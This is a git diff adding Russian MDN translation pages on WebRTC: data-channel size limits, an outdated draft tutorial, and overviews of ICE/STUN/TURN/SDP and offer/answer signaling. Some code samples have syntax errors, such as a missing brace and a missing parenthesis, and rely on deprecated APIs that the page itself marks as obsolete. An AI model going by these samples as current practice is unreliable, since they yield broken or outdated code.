+<p>Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему <code>RTCDataChannel</code> каналу в виде нескольких сообщений</p>
+
+<p>Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.</p>
+
+<h3 id="Проблемы_с_большими_сообщениями">Проблемы с большими сообщениями</h3>
+
+<p>В настоящее время нецелесообразно использовать <code>RTCDataChannel </code>для сообщений размером более 64 КБ (16 КБ, если вы хотите поддерживать кросс-браузерный обмен данными). Проблема возникает из-за того факта, что SCTP - протокол, используемый для отправки и получения данных по <code>RTCDataChannel</code> - изначально был разработан для использования в качестве протокола сигнализации. Ожидалось, что сообщения будут относительно небольшими. Поддержка сообщений, превышающих размер сетевого уровня {{interwiki ("wikipedia", "Maximum unit unit", "MTU")}}, была добавлена ​​ в качестве запоздалой мысли, в случае, если сигнальные сообщения должны были быть больше, чем MTU. Эта функция требует, чтобы каждый фрагмент сообщения имел последовательные порядковые номера, поэтому они должны передаваться один за другим, без каких-либо других данных, чередующихся между ними.</p>
+
+<p>В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.</p>
+
+<p>Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. <a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=7774">Chromium Bug 7774</a>). С поддержкой EOR полезная нагрузка <code>RTCDataChannel</code> может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.</p>
+
+<p>Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение <a href="https://tools.ietf.org/html/draft-ietf-tsvwg-sctp-ndata">предложение</a> все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.</p>
+
+<p>Поддержка Firefox для ndata находится в процессе реализации. <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Команда Chrome отслеживает реализацию поддержки ndata в</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span><a href="https://bugs.chromium.org/p/webrtc/issues/detail?id=5696" style="font-size: 1rem; letter-spacing: -0.00278rem;">Chrome Bug 5696</a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
+
+<div class="originaldocinfo">
+<p>Большая часть информации в этом разделе частично основана на блоге <a href="https://lgrahl.de/articles/demystifying-webrtc-dc-size-limit.html">Demystifyijng WebRTC's Data Channel Message Size Limitations</a>, написанный Леннартом Гралем. Там он немного подробнее рассказывает, но поскольку браузеры были обновлены с тех пор, некоторые посты могут быть устаревшими. Кроме того, со временем поддержки будет становиться все больше, особенно после того, как EOR и поддержка ndata будут полностью интегрированы в основные браузеры.</p>
+</div>
+
+<h2 id="Безопасность">Безопасность</h2>
+
+<p>Все данные, переданные с помощью WebRTC, зашифрованы на основе <a href="/en-US/docs/Web/Security/Transport_Layer_Security">Transport Layer Security</a> (TLS). Поскольку TLS используется для защиты каждого HTTPS-соединения, любые данные, которые вы отправляете по каналу данных, так же безопасны, как и любые другие данные, отправляемые или получаемые браузером пользователя. </p>
+
+<p>Поскольку WebRTC является одноранговым соединением между двумя пользовательскими агентами, данные никогда не проходят через веб-сервер или сервер приложений, что снижает возможность перехвата данных.</p>
diff --git a/files/ru/web/api/webrtc_api/webrtc_basics/index.html b/files/ru/web/api/webrtc_api/webrtc_basics/index.html
new file mode 100644
index 0000000000..d1a5b5bb61
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/webrtc_basics/index.html
@@ -0,0 +1,350 @@
+---
+title: Основы WebRTC
+slug: Web/API/WebRTC_API/WebRTC_basics
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>{{Draft}}</p>
+
+<div class="summary">
+<p>После того, как вы понимаете <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Architecture" title="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture">WebRTC architecture</a>, вы можете прочитать эту статью, которая сопроводит вас через создание кросс-браузерного RTC приложения. К концу этой документации, вы должны иметь рабочие каналы соединения равноправных узлов ЛВС и передачи данных средств массовой информации.</p>
+</div>
+
+<h2 id="Полу-старое_содержание_из">Полу-старое содержание, из</h2>
+
+<h2 id="RTCPeerConnection">RTCPeerConnection</h2>
+
+<p>Материал здесь происходит от RTCPeerConnection; она может остаться здесь, или же  может переместится в другое место.</p>
+
+<p><strong>Основы использования</strong><br>
+ Базовое использование RTCPeerConnection предполагает переговоры связь между локальной машиной и удаленной машиной один генерируя Session Description Protocol для обмена между ними. Вызывающая программа начинает процесс, отправив предложение на удаленное устройство, которое реагирует либо принять или отклонить запрос на соединение.</p>
+
+<p>Обе стороны (вызывающий и вызываемый абонент) необходимо настроить свои собственные экземпляры RTCPeerConnection, чтобы представить их конец соединения равноправных узлов ЛВС:</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection();
+pc.onaddstream = function(obj) {
+  var vid = document.createElement("video");
+  document.appendChild(vid);
+  vid.srcObject = obj.stream;
+}
+
+// функция помощник
+function endCall() {
+  var videos = document.getElementsByTagName("video");
+  for (var i = 0; i &lt; videos.length; i++) {
+    videos[i].pause();
+  }
+
+  pc.<a href="#close()">close</a>();
+
+
+function error(err) {
+  endCall();
+}
+</pre>
+
+<h3 id="При_инициализации_вызова">При инициализации вызова</h3>
+
+<p>Если вы один инициирующий вызов, вы будете использовать navigator.getUserMedia(), чтобы получить видеопоток, а затем добавить поток в RTCPeerConnection. Как только это было сделано, вызов RTCPeerConnection, чтобы создать предложение, настроить предложение, а затем отправить его на сервер, через  соединение которое было создано.</p>
+
+<pre class="brush: js notranslate">// Получить список людей с сервера
+// Пользователь выбирает список людей, чтобы установить соединение с нужным человеком
+navigator.getUserMedia({video: true}, function(stream) {
+  // Добавление локального потока не вызовет onaddstream обратного вызова,
+  // так называют его вручную.
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.<a href="#addStream()">addStream</a>(stream);
+
+  pc.<a href="#createOffer()">createOffer</a>(function(offer) {
+    pc.<a href="#setLocalDescription()">setLocalDescription</a>(offer, function() {
+      // send the offer to a server to be forwarded to the friend you're calling.
+    }, error);
+  }, error);
+});
+</pre>
+
+<h3 id="Ответ_на_вызов">Ответ на вызов</h3>
+
+<p>На противоположном конце, друг получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение прибывает, {{domxref ("navigator.getUserMedia ()")}} вновь используется для создания потока, который добавляется к RTCPeerConnection. {{Domxref ("RTCSessionDescription")}} объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+
+<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p>
+
+<pre class="brush: js notranslate">var offer = getOfferFromFriend();
+navigator.getUserMedia({video: true}, function(stream) {
+  pc.onaddstream = e =&gt; video.src = URL.createObjectURL(e.stream);
+  pc.<a href="#addStream()">addStream</a>(stream);
+
+  pc.setRemoteDescription(new <span class="nx">RTCSessionDescription</span>(offer), function() {
+    pc.<a href="#createAnswer()">createAnswer</a>(function(answer) {
+      pc.<a href="#setLocalDescription()">setLocalDescription</a>(answer, function() {
+        // send the answer to a server to be forwarded back to the caller (you)
+      }, error);
+    }, error);
+  }, error);
+});
+</pre>
+
+<p><strong>Ответ на вызов</strong></p>
+
+<p>На противоположном конце, человек получит предложение от сервера, используя любой протокол используется для того чтобы сделать это. После того, как предложение принято, navigator.getUserMedia () вновь используется для создания потока, который добавляется к RTCPeerConnection.  объект создается и установить в качестве удаленного описания с помощью вызова {{domxref ("RTCPeerConnection.setRemoteDescription ()")}}.</p>
+
+<p>Тогда ответ создается с помощью RTCPeerConnection.createAnswer () и отправляется обратно на сервер, который направляет его к вызывающему абоненту.</p>
+
+<pre class="brush: js notranslate">// ПК был создан раньше, когда мы сделали первоначальное предложение
+var offer = getResponseFromFriend();
+pc.<a href="#createAnswer()">setRemoteDescription</a>(new <span class="nx">RTCSessionDescription</span>(offer), function() { }, error);</pre>
+
+<h2 id="Old_content_follows!">Old content follows!</h2>
+
+<p>Все, что находится ниже этого пункта,  потенциально устарело. Это по-прежнему находится в стадии рассмотрения  и возможного включения в другие части документации, если они все еще актуальны.</p>
+
+<div class="note">
+<p><strong>Не используйте примеры на этой странице.</strong> Смотрите статью <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> для работы, актуальный пример с использованием WebRTC media.</p>
+</div>
+
+<h3 id="Note">Note</h3>
+
+<p>Due to recent changes in the API there are many old examples that require fixing:</p>
+
+<ul>
+ <li><a href="http://louisstow.github.io/WebRTC/media.html">louisstow</a></li>
+ <li><a href="http://mozilla.github.io/webrtc-landing/">mozilla</a></li>
+ <li><a href="https://www.webrtc-experiment.com/">webrtc-experiment</a></li>
+</ul>
+
+<p>The currently working example is:</p>
+
+<ul>
+ <li><a href="https://apprtc.appspot.com">apprtc</a> (<a href="https://github.com/webrtc/apprtc">source</a>)</li>
+</ul>
+
+<p>Implementation may be inferred from the <a href="http://w3c.github.io/webrtc-pc/">specification</a>.</p>
+
+<p>This remainder of this page contains outdated information as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1119285">noted on bugzilla</a>.</p>
+
+<h3 id="Shims">Shims</h3>
+
+<p>As you can imagine, with such an early API, you must use the browser prefixes and shim it to a common variable.</p>
+
+<pre class="brush: js notranslate">var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
+var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
+navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;</pre>
+
+<h3 id="RTCPeerConnection_2">RTCPeerConnection</h3>
+
+<p>This is the starting point to creating a connection with a peer. It accepts configuration options about ICE servers to use to establish a connection.</p>
+
+<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration);</pre>
+
+<h3 id="RTCConfiguration"><strong><code>RTCConfiguration</code></strong></h3>
+
+<p>The {{domxref("RTCConfiguration")}} object contains information about which TURN and/or STUN servers to use for ICE. This is required to ensure most users can actually create a connection by avoiding restrictions in NAT and firewalls.</p>
+
+<pre class="brush: js notranslate">var configuration = {
+    iceServers: [
+        {urls: "stun:23.21.150.121"},
+        {urls: "stun:stun.l.google.com:19302"},
+        {urls: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
+    ]
+}</pre>
+
+<p>Google runs a <a href="https://code.google.com/p/natvpn/source/browse/trunk/stun_server_list">public STUN server</a> that we can use. I also created an account at http://numb.viagenie.ca/ for a free TURN server to access. You may want to do the same and replace with your own credentials.</p>
+
+<h3 id="ICECandidate">ICECandidate</h3>
+
+
+
+<p>After creating the PeerConnection and passing in the available <a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture#What_is_STUN.3F">STUN</a> and <a href="/en-US/docs/Web/Guide/API/WebRTC/WebRTC_architecture#What_is_TURN.3F">TURN</a> servers, an event will be fired once the ICE framework has found some “candidates” that will allow you to connect with a peer. This is known as an ICE Candidate and will execute a callback function on <a href="/en-US/docs/Web/API/RTCPeerConnection.onicecandidate">PeerConnection#onicecandidate</a>.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.onicecandidate = function (e) {
+    // candidate exists in e.candidate
+    if (!e.candidate) return;
+    send("icecandidate", JSON.stringify(e.candidate));
+};</pre>
+
+<p>When the callback is executed, we must use the signal channel to send the Candidate to the peer. On Chrome, multiple ICE candidates are usually found, we only need one so I typically send the first one then remove the handler. Firefox includes the Candidate in the Offer SDP.</p>
+
+<h3 id="Signal_Channel">Signal Channel</h3>
+
+<p>Now that we have an ICE candidate, we need to send that to our peer so they know how to connect with us. However this leaves us with a chicken and egg situation; we want PeerConnection to send data to a peer but before that we need to send them metadata…</p>
+
+<p>This is where the signal channel comes in. It’s any method of data transport that allows two peers to exchange information. In this article, we’re going to use <a href="http://firebase.com">FireBase</a> because it’s incredibly easy to setup and doesn't require any hosting or server-code.</p>
+
+<p>For now just imagine two methods exist: <code>send()</code> will take a key and assign data to it and <code>recv()</code> will call a handler when a key has a value.</p>
+
+<p>The structure of the database will look like this:</p>
+
+<pre class="brush: js notranslate" lang="json">{
+    "": {
+        "candidate:": …
+        "offer": …
+        "answer": …
+    }
+}</pre>
+
+<p>Connections are divided by a <code>roomId</code> and will store 4 pieces of information, the ICE candidate from the offerer, the ICE candidate from the answerer, the offer SDP and the answer SDP.</p>
+
+<h3 id="Offer">Offer</h3>
+
+<p>An Offer SDP (Session Description Protocol) is metadata that describes to the other peer the format to expect (video, formats, codecs, encryption, resolution, size, etc etc).</p>
+
+<p>An exchange requires an offer from a peer, then the other peer must receive the offer and provide back an answer.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.createOffer(function (offer) {
+    pc.setLocalDescription(offer, function() {
+        send("offer", JSON.stringify(pc.localDescription);
+    }, errorHandler);
+}, errorHandler, options);</pre>
+
+<h4 id="errorHandler"><strong><code>errorHandler</code></strong></h4>
+
+<p>If there was an issue generating an offer, this method will be executed with error details as the first argument.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var errorHandler = function (err) {
+    console.error(err);
+};</pre>
+
+<h5 id="options"><strong><code>options</code></strong></h5>
+
+<p>Options for the offer SDP.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var options = {
+    offerToReceiveAudio: true,
+    offerToReceiveVideo: true
+};</pre>
+
+<p><code>offerToReceiveAudio/Video</code> tells the other peer that you would like to receive video or audio from them. This is not needed for DataChannels.</p>
+
+<p>Once the offer has been generated we must set the local SDP to the new offer and send it through the signal channel to the other peer and await their Answer SDP.</p>
+
+<h3 id="Answer">Answer</h3>
+
+<p>An Answer SDP is just like an offer but a response; sort of like answering the phone. We can only generate an answer once we have received an offer.</p>
+
+<pre class="brush: js notranslate" lang="javascript">recv("offer", function (offer) {
+    offer = new SessionDescription(JSON.parse(offer))
+    pc.setRemoteDescription(offer);
+
+    pc.createAnswer(function (answer) {
+        pc.setLocalDescription(answer, function() {
+            send("answer", JSON.stringify(pc.localDescription));
+        }, errorHandler);
+    }, errorHandler);
+});</pre>
+
+<h3 id="DataChannel">DataChannel</h3>
+
+<p>I will first explain how to use PeerConnection for the DataChannels API and transferring arbitrary data between peers.</p>
+
+<p><em>Note: At the time of this article, interoperability between Chrome and Firefox is not possible with DataChannels. Chrome supports a similar but private protocol and will be supporting the standard protocol soon.</em></p>
+
+<pre class="brush: js notranslate" lang="javascript">var channel = pc.createDataChannel(channelName, channelOptions);</pre>
+
+<p>The offerer should be the peer who creates the channel. The answerer will receive the channel in the callback <code>ondatachannel</code> on PeerConnection. You must call <code>createDataChannel()</code> once before creating the offer.</p>
+
+<h4 id="channelName"><strong><code>channelName</code></strong></h4>
+
+<p>This is a string that acts as a label for your channel name. <em>Warning: Make sure your channel name has no spaces or Chrome will fail on <code>createAnswer()</code>.</em></p>
+
+<h4 id="channelOptions"><strong><code>channelOptions</code></strong></h4>
+
+<pre class="brush: js notranslate" lang="javascript">var channelOptions = {};</pre>
+
+<p>Currently these options are not well supported on Chrome so you can leave this empty for now. Check the <a href="http://dev.w3.org/2011/webrtc/editor/webrtc.html#attributes-7">RFC</a> for more information about the options.</p>
+
+<h4 id="Channel_Events_and_Methods">Channel Events and Methods</h4>
+
+<h5 id="onopen"><strong><code>onopen</code></strong></h5>
+
+<p>Executed when the connection is established.</p>
+
+<h5 id="onerror"><strong><code>onerror</code></strong></h5>
+
+<p>Executed if there is an error creating the connection. First argument is an error object.</p>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onerror = function (err) {
+    console.error("Channel Error:", err);
+};</pre>
+
+<h5 id="onmessage"><strong><code>onmessage</code></strong></h5>
+
+<pre class="brush: js notranslate" lang="javascript">channel.onmessage = function (e) {
+    console.log("Got message:", e.data);
+}</pre>
+
+<p>The heart of the connection. When you receive a message, this method will execute. The first argument is an event object which contains the data, time received and other information.</p>
+
+<h5 id="onclose"><strong><code>onclose</code></strong></h5>
+
+<p>Executed if the other peer closes the connection.</p>
+
+<h4 id="Binding_the_Events"><strong>Binding the Events</strong></h4>
+
+<p>If you were the creator of the channel (meaning the offerer), you can bind events directly to the DataChannel you created with <code>createChannel</code>. If you are the answerer, you must use the <code>ondatachannel</code> callback on PeerConnection to access the same channel.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.ondatachannel = function (e) {
+    e.channel.onmessage = function () { … };
+};</pre>
+
+<p>The channel is available in the event object passed into the handler as <code>e.channel</code>.</p>
+
+<h5 id="send"><strong><code>send()</code></strong></h5>
+
+<pre class="brush: js notranslate" lang="javascript">channel.send("Hi Peer!");</pre>
+
+<p>This method allows you to send data directly to the peer! Amazing. You must send either String, Blob, ArrayBuffer or ArrayBufferView, so be sure to stringify objects.</p>
+
+<h5 id="close"><strong><code>close()</code></strong></h5>
+
+<p>Close the channel once the connection should end. It is recommended to do this on page unload.</p>
+
+<h3 id="Media">Media</h3>
+
+<p>Now we will cover transmitting media such as audio and video. To display the video and audio you must include a <code>&lt;video&gt;</code> tag on the document with the attribute <code>autoplay</code>.</p>
+
+<h4 id="Get_User_Media">Get User Media</h4>
+
+<pre class="brush: js notranslate">&lt;video id="preview" autoplay&gt;&lt;/video&gt;
+
+var video = document.getElementById("preview");
+navigator.getUserMedia(constraints, function (stream) {
+    video.src = URL.createObjectURL(stream);
+}, errorHandler);</pre>
+
+<p><strong><code>constraints</code></strong></p>
+
+<p>Constraints on what media types you want to return from the user.</p>
+
+<pre class="brush: js notranslate" lang="javascript">var constraints = {
+    video: true,
+    audio: true
+};</pre>
+
+<p>If you just want an audio chat, remove the <code>video</code> member.</p>
+
+<h5 id="errorHandler_2"><strong><code>errorHandler</code></strong></h5>
+
+<p>Executed if there is an error returning the requested media.</p>
+
+<h4 id="Media_Events_and_Methods">Media Events and Methods</h4>
+
+<h5 id="addStream"><strong><code>addStream</code></strong></h5>
+
+<p>Add the stream from <code>getUserMedia</code> to the PeerConnection.</p>
+
+<pre class="brush: js notranslate" lang="javascript">pc.addStream(stream);</pre>
+
+<h5 id="onaddstream"><strong><code>onaddstream</code></strong></h5>
+
+<pre class="brush: js notranslate">&lt;video id="otherPeer" autoplay&gt;&lt;/video&gt;
+
+var otherPeer = document.getElementById("otherPeer");
+pc.onaddstream = function (e) {
+    otherPeer.src = URL.createObjectURL(e.stream);
+};</pre>
+
+<p>Executed when the connection has been setup and the other peer has added the stream to the peer connection with <code>addStream</code>. You need another <code>&lt;video&gt;</code> tag to display the other peer's media.</p>
+
+<p>The first argument is an event object with the other peer's media stream.</p>
diff --git a/files/ru/web/api/webrtc_api/протоколы/index.html b/files/ru/web/api/webrtc_api/протоколы/index.html
new file mode 100644
index 0000000000..df618ab083
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/протоколы/index.html
@@ -0,0 +1,38 @@
+---
+title: Введение в протоколы WebRTC
+slug: Web/API/WebRTC_API/протоколы
+translation_of: Web/API/WebRTC_API/Protocols
+---
+<p>{{APIRef("WebRTC")}}{{draft}}</p>
+
+<p>В этой статье представлены протоколы, поверх которых построен WebRTC API.</p>
+
+<h2 id="ICE">ICE</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> "Установка интерактивного подключения" представляет собой каркас, позволяющий вашему веб-браузеру соединяться с узлами. Есть много причин, почему прямое соединение от узла A к узлу B просто не будет работать. Оно должно обойти межсетевые экраны, которые будут препятствовать открытию соединений, дать вам уникальный адрес, если, как в большинстве ситуаций, ваше устройство не имеет публичного IP-адреса, и передавать данные через сервер, если ваш маршрутизатор не позволяет вам напрямую соединяться с узлами. ICE использует некоторые из следующих технических приёмов, описанных ниже, для достижения этой цели:</p>
+
+<h2 id="STUN">STUN</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/STUN">Session Traversal Utilities for <u>NAT</u> (STU<u>N</u>)</a> (акроним в акрониме) это протокол для нахождения и определения вашего публичного адреса и любых ограничений в вашем маршрутизаторе, которые препятствуют прямому соединению с узлом.</p>
+
+<p>Клиент отправит запрос к STUN серверу в интернете, который ответит публичным адресом клиента и, доступен ли, или нет, клиент за NAT маршрутизатором.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="NAT">NAT</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/NAT">Network Address Translation (NAT)</a> используется для того, чтобы дать вашему устройству публичный IP-адрес. Маршрутизатор имеет публичный IP-адрес, а каждое устройство, подключённое к маршрутизатору имеет частный IP-адрес. Запросы будут транслированы от частного IP-адреса устройства к публичному IP-адресу маршрутизатора (с уникальным портом). Таким образом вам не нужен уникальный IP-адрес для каждого устройства, тем не менее, оно может быть обнаружено в интернете.</p>
+
+<p>Некоторые маршрутизаторы имеют ограничения на то, кто может подключаться к устройствам в сети. Это может означать, что даже если мы имеем публичный IP-адрес, найденный STUN сервером, никто не может создать соединение. В этой ситуации нам нужно обратиться к TURN.</p>
+
+<h2 id="TURN">TURN</h2>
+
+<p>Некоторые маршрутизаторы, использующие NAT применяют ограничение, называемое "Симметричный NAT" (Symmetric NAT). Это означает, что маршрутизатор будет принимать соединения только от узлов, к которым вы ранее подключились.</p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> предназначен для обхода ограничения "Симметричный NAT" путём открытия соединения с TURN сервером и ретрансляции всей информации через этот сервер. Вы создадите соединение с TURN сервером и сообщите всем узлам слать пакеты этому серверу, которые затем будут переправлены вам. Очевидно, что они приходят с некоторыми накладными расходами, поэтому это используется, только если нет других альтернатив.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving STUN and TURN servers." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="SDP">SDP</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a>  - это стандарт для описания мультимедийного контента соединения,  как например: разрешение, форматы, кодеки, шифрование и т.д. Так, чтобы оба узла могли понять друг друга, после того как данные начнут передаваться. Это, в сущности, метаданные, описывающие содержимое, а не медиа контент сам по себе.</p>
diff --git a/files/ru/web/api/webrtc_api/связь/index.html b/files/ru/web/api/webrtc_api/связь/index.html
new file mode 100644
index 0000000000..7c4f173c05
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/связь/index.html
@@ -0,0 +1,70 @@
+---
+title: WebRTC подключение
+slug: Web/API/WebRTC_API/связь
+translation_of: Web/API/WebRTC_API/Connectivity
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p>Теперь, когда мы рассмотрели протоколы по отдельности, мы можем сложить их вместе. Эта статья описывает, как различные связанные с WebRTC протоколы взаимодействуют друг с другом для того, чтобы создать соединение и передать данные и/или медиа между узлами.</p>
+
+<div class="note">
+<p>Эта страница требует серьёзной переделки для структурной целостности и полноты содержания. Много информации здесь - это хорошо, но организация являет собой путаницу, поскольку сейчас являет собой вид "местности разгрузки"(dumping ground).</p>
+</div>
+
+<h2 id="Что_такое_ПредложениеОтвет_и_Канал_сигнализации">Что  такое Предложение/Ответ и Канал сигнализации?</h2>
+
+<p>К сожалению, WebRTC не может создавать соединения без какого-либо сервера посередине. Мы называем его "каналом сигнализации". Это любого рода канал связи для обмена информацией перед установкой соединения, будь то электронная почта, почтовая открытка или почтовый голубь... Зависит от вас.<br>
+  </p>
+
+<p>Информация, которой мы должны обменяться - это "предложение" и "ответ", которые содержат SDP, упомянутую ниже.</p>
+
+<p>Узел A, тот кто будет инициатором соединения, создаст "предложение". Затем отправит это "предложение" узлу B, используя выбранный "сигнальный канал". Узел B получит "предложение" от "сигнального канала" и создаст "ответ". Затем отправит его обратно узлу A посредством "сигнального канала".</p>
+
+<h3 id="Описания_сессии">Описания сессии</h3>
+
+<p>Конфигурация конечной точки WebRTC-соединения называется <strong>"описание сессии"(session description)</strong>. Описание включает информацию о типе посылаемого медиа, его формате, используемом протоколе передачи, IP-адресе и порте конечной точки, и  другую информацию, необходимую для описания конечной точки передачи медиа. Эта информация обменивается и хранится с помощью <strong>"протокола описания сессии". Session Description Protocol</strong>({{Glossary("SDP")}}). Если вы хотите подробную информацию о формате данных SDP, вы можете найти её в {{RFC(2327)}}.</p>
+
+<p>Когда пользователь запускает WebRTC вызов другого пользователя, создаётся специальное описание, называемое <strong>"предложение"(offer)</strong>. Это описание включает всю информацию для соединения, о предлагаемой конфигурации вызывающего абонента. Получатель затем откликается <strong>"ответом"(answer)</strong>, являющимся описанием его конца соединения. Таким образом, оба устройства разделяют друг с другом информацию, необходимую для того, чтобы обмениваться медиа данными. Этот обмен обрабатывается с помощью "интерактивного создания подключения". Interactive Connectivity Establishment{{Glossary("ICE")}}. ICE - протокол, который позволяет двум устройствам использовать посредника для обмена "предложениями"(offers) и "ответами"(answers), даже если эти два устройства разделены механизмом "преобразования сетевых адресов". ({{Glossary("NAT")}}(Network Address Translation).</p>
+
+<p>Каждый узел, тогда, держит два описания под рукой: <strong>локальное описание (local description)</strong>, описывающее себя и <strong>удалённое описание(remote description)</strong>, описывающее другой конец соединения.</p>
+
+<p>Процесс "предложение/ответ"(offer/answer) выполняется как, когда соединение впервые устанавливается, так и в любой момент, когда формат соединения или другая конфигурация нуждается в изменении. Независимо от того, является ли это новым соединением, или реконфигурированием существующего, это основные шаги, которые должны произойти для обмена "предложением"(offer) и "ответом"(answer). Пропустим ICE-слой на данный момент:</p>
+
+<ol>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.createOffer()")}} для создания "предложения"(offer)</li>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}} для установки этого "предложения" как локального описания (то есть описания локального конца соединения).</li>
+ <li>Вызывающий использует сигнальный сервер для передачи "предложения" к требуемому получателю вызова.</li>
+ <li>Получатель получает "предложение" и вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для записи его, как удалённого описания(описания другого конца соединения).</li>
+ <li>Получатель делает всякую настройку, которую должен сделать для его конца соединения, включая добавления исходящих потоков для соединения.</li>
+ <li>Получатель затем создаёт "ответ"(answer) посредством вызова {{domxref("RTCPeerConnection.createAnswer()")}}.</li>
+ <li>Получатель вызывает {{domxref("RTCPeerConnection.setLocalDescription()")}}, чтобы установить "ответ"(answer) в качестве локального описания. Получатель теперь знает конфигурацию обоих концов соединения.</li>
+ <li>Получатель использует сигнальный сервер для отправки "ответа"(answer) вызывающему.</li>
+ <li>Вызывающий получает "ответ"(answer).</li>
+ <li>Вызывающий вызывает {{domxref("RTCPeerConnection.setRemoteDescription()")}} для установки "ответа"(answer) как удалённого описания для его конца соединения. Теперь известна конфигурация обоих узлов. Медиа начинает течь в соответствии с настройками.</li>
+</ol>
+
+<h3 id="Рассматриваемые_и_текущие_описания">Рассматриваемые и текущие описания</h3>
+
+<p>Спускаясь на один шаг глубже в процесс, мы находим, что localDescription и remoteDescription, свойства, возвращаемые эти двумя описаниями, не так просты, как выглядят. Потому что во время повторных переговоров(перезаключения) (renegotiation), "предложение"(offer) может быть отклонено, поскольку оно предлагает несовместимый формат. Необходимо, чтобы каждая конечная точка имела возможность предложить новый формат, но не переключаться на него, пока он не принят другим узлом. По этой причине, WebRTC использует <em>"рассматриваемые"</em> и <em>"текущие"</em> "описания".</p>
+
+<p><strong>"Текущее описание"(current description)</strong> (которое возвращается свойствами {{domxref("RTCPeerConnection.currentLocalDescription")}} и {{domxref("RTCPeerConnection.currentRemoteDescription")}}) представляет собой описание, в данный момент, фактически используемое соединением. Это самое недавнее соединение, которое обе стороны полностью согласились использовать.</p>
+
+<p><strong>"Рассматриваемое описание"(pending description)</strong> (возвращаемое {{domxref("RTCPeerConnection.pendingLocalDescription")}} и {{domxref("RTCPeerConnection.pendingRemoteDescription")}}) указывает на то описание, которое в настоящий момент находится на рассмотрении после вызова setLocalDescription() или setRemoteDescription(), соответственно.</p>
+
+<p>При чтении описания (возвращаемого {{domxref("RTCPeerConnection.localDescription")}} и {{domxref("RTCPeerConnection.remoteDescription")}}), возвращаемым значением является значение pendingLocalDescription/pendingRemoteDescription, если есть рассматриваемое описание (то есть, рассматриваемое описание не null). В противном случае, возвращается текущее описание (currentLocalDescription/currentRemoteDescription).</p>
+
